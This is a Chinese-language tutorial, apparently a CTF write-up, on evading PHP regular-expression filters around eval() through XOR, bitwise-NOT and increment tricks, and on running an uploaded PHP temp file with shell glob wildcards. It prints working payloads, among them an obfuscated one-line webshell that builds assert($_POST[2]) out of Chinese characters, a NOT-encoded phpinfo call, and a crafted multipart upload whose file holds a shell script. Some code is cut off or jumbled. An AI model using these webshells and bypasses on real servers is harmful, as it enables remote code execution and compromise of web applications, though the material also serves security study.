目录
一、异或
1、异或的前置知识
2、进阶版异或
3、异或构建一句话木马
4、利用异或绕过正则:
补充知识:当下划线被过滤的时候
二、取反
1、函数名取反绕过正则
2、字符取反拼接写webshell
三、自增
1、自增的原理
2、自增的使用方法
3、使用自增编写webshell
(一)代码解读
(二)完整代码
四、临时文件
1、php7绕过
2、php5+shell打破禁锢
(一) . file 执行文件
(二)精准匹配到正确的php临时文件名第二个难题接踵而至,执行./tmp/phpxxxXXxx,也是有字母的。此时就可以用到Linux下的glob通配符:
1、匹配到二进制文件
2、通过添加glob分隔符
3、环境搭建
4、编写前端上传文件
5、为php文件添内容
6、绕过eval的执行规则
第一个问题 -------- 没有进行url编码
当$ 和 _ 没有被限制时
A的ascll码为65 二进制为0100 0001
` 的ascll码为96 二进制为0110 0000
A和 ` 取异或 即相同位 置0 ,不同位置 1
然后A 和 ` 得到的二进制码为 0010 0001 ,ascll码为33 ,ascll码表对应符号为!
代码:
?:0011 1111
} :0111 1101
0100 0010 -----66
所以异或的结果为B,将值赋值给了$__;
浏览器访问:
使用蚁剑连接这个一句话木马;
绕过限制的代码:
/"; ///_GET
?>
?code=$_="`{{{" ^ "?<>/";${$_}[_]();&_=getFlag //后面不能加;
过滤下划线:
qf_zz_xhx.php
35){
// die("Long.");
// }
if(preg_match("/[A-Za-z0-9_]+/",$code)){
die("NO.");
}
eval($code);
}else{
highlight_file(__FILE__);
}
?>
将限制长度这里注释掉,因为汉字占用字节数较大。
下划线被过滤的时候可以使用汉字来代替
?code=$啊="`{{{" ^ "?<>/";${$啊}[啊]();&啊=getFlag
为什么可以用汉字来做变量名呢,这里有一个问题,过滤了字母、数字和下划线之后怎么起变量名?忽然想到ava可以用汉字作为变量名(因为Java采用的是Unicode字符集,所以用中文作为变量名不会出错),那PHP说不定也可以,于是在本地试了一下发现居然没报错。
需要绕过的正则环境:
35){
die("Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
eval($code);
}else{
highlight_file(__FILE__);
}
?>
代码:
qf.php
先将需要取反的值赋值给一个变量,"~"为取反
然后将取反的变量传入urlencode函数进行url编码
phpinfo 取反的值为: %8F%97%8F%96%91%99%90
传入地址栏的代码如下:
?code=$_=~%8F%97%8F%96%91%99%90;$_()
代码:
qf.php
根据这种方式我们写出了如下代码:
qf_code3.php
'>'<')+('>'>'<'); // $__=2
$_=$__/$__; // $_=1
$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});
// echo $____; //$____=assert
$_____='_';
$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});
//echo $_____; //$_____=_POST
$_=$$_____;
$____($_[$__]); // assert($_POST[2])
?>
执行代码:
在处理字符变量的算数运算时,PHP沿袭了Perl的习惯,而非C的。例如,在Perl中 $a = 'Z';$a++;将把$a变成'AA',而在C中,a = 'Z'; a++;将把a变成 '[' (Z'的ASCIl值是90,'[' 的ASCll值是91)。注意字符变量只能递增,不能递减,并且只支持纯字母(a-z和A-Z)。递增/递减其他字符变量则无效,原字符串没有变化。也就是说,'a'++=> 'b',‘b'++ => 'c'..所以,我们只要能拿到一个变量,其值为a,通过自增操作即可获得a-z中所有字符。
也就是说,'a'++ => 'b' , 'b'++=> 'c...所以,我们只要能羹到一个变量,其值为a,通过自增操作即可获得a-z中所有字符。
那么,如何拿到一个值为字符串'a'的变量呢?
巧了,数组(Array)的第一个字母就是大写A,而且第4个字母是小写a。也就是说,我们可以同时拿到小写和大写A,等于我们就可以拿到a-z和A-Z的所有字母。
在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array:
代码:
zz.php
第一个echo取到值Array
利用这个技巧,我编写了如下webshell(因为PHP函数是大小写不敏感的,所以我们最终执行的是ASSERT($POST[]),无需获取小写a) :
通过进行18次$___++;成功的将A变为了S;
代码如下:
当$和_都被过滤掉的时候。文件想绕过就比较难了
代码:
35){
die("Long.");
}
if(preg_match("/[A-Za-z0-9_$]+/",$code)){
die("NO.");
}
eval($code);
}else{
highlight_file(__FILE__);
}
?>
PHP7前是不允许用($a)();这样的方法来执行动态函数的,但PHP7中增加了对此的支持。所以,我们可以通过('phpinfo')();来执行函数,第一个括号中可以是任意PHP表达式。
所以很简单了,构造一个可以生成phpinfo这个字符串的PHP表达式即可。payload如下(不可见字符用url编码表示)∶
直接给出payload:
(~%8F%97%8F%96%91%99%90)();
由于我的php版本为php5 ,所以暂不实验。
php5想要绕过就需要用到临时文件的方式
在php上传文件的时候会在tmp目录下生成一个临时文件
此时我想到了两个有趣的Linux shell知识点:
1.shell下可以利用.来执行任意脚本
2.Linux文件名支持用glob通配符代替
第一点. 或者叫period,它的作用和source一样,就是用当前的shell执行一个文件中的命令。比如,当前运行的shell是bash,则.file的意思就是用bash执行file文件中的命令。
用. file执行文件,是不需要file有x权限的。那么,如果目标服务器上有一个我们可控的文件,那不就可以利用.来执行它了吗?
这个文件也很好得到,我们可以发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXxxxxx,文件名最后6个字符是随机的大小写字母。
*可以代替0个及以上任意字符
?可以代表1个任意字符
那么,/tmp/phpxxxxxx就可以表示为/*/?????????或/???/?????????。
/???/????????? 执行的是全盘匹配;
但是运行的时候出现了问题
发现这种方法可行
最后通过php临时文件的特性来匹配(临时文件后六位是随机大小写)
我们来赌php文件最后一个字母是大写
. /???/????????[@-[]
这样就可以匹配到那个php的临时文件并执行了
如果想要生成临时文件,就需要有数据上传,先编写前端的代码:
这是一个上传文件的代码,将文件上传到web1.php中
web.html
Document
web1.php
这是打印上传的文件位置;
在上传文件的时候会生成php的临时文件
1.txt
利用burpsuite抓包,获得上传文件的信息。
将其中文件内容部分信息截取下来:
header头内容:
Content-Type: multipart/form-data; boundary=---------------------------96421351337213956732351952790
-----------------------------96421351337213956732351952790
Content-Disposition: form-data; name="upload_file"; filename="1.txt"
Content-Type: text/plain#!/bin/bash
whoami
-----------------------------96421351337213956732351952790--
这是需要绕过的进行命令执行的php文件
tmp.php
35){
die("Long.");
}
if(preg_match("/[A-Za-z0-9_$]+/",$code)){
die("NO.");
}
eval($code);
}else{
highlight_file(__FILE__);
}
?>
利用burpsuite抓包
这是抓到的包内容
将之前抓到的前端上传的信息添加到这个包里面,然后将请求改为POST
可能有人会问GET能改POST吗,改为POST不影响文件的执行,tmp.php文件还是会将包内容里面的code后面的内容执行。
改为POST的目的是为了生成一个临时文件,POST的命令tmp.php包不会执行,但是POST的内容会在/tmp下生成一个临时文件。
我们的目的就是为了执行这个临时文件
执行这个临时文件的方法就是之前使用 . file +glob通配符
我们将传入的code内容改为执行临时文件的命令
以下便是拼接出来的代码:
将之前修改的包发过去显示错误:
? ---- %3f @ ---- %40 [ ---%5b
第二个问题 ------- 空格没编码
空格编码用"+"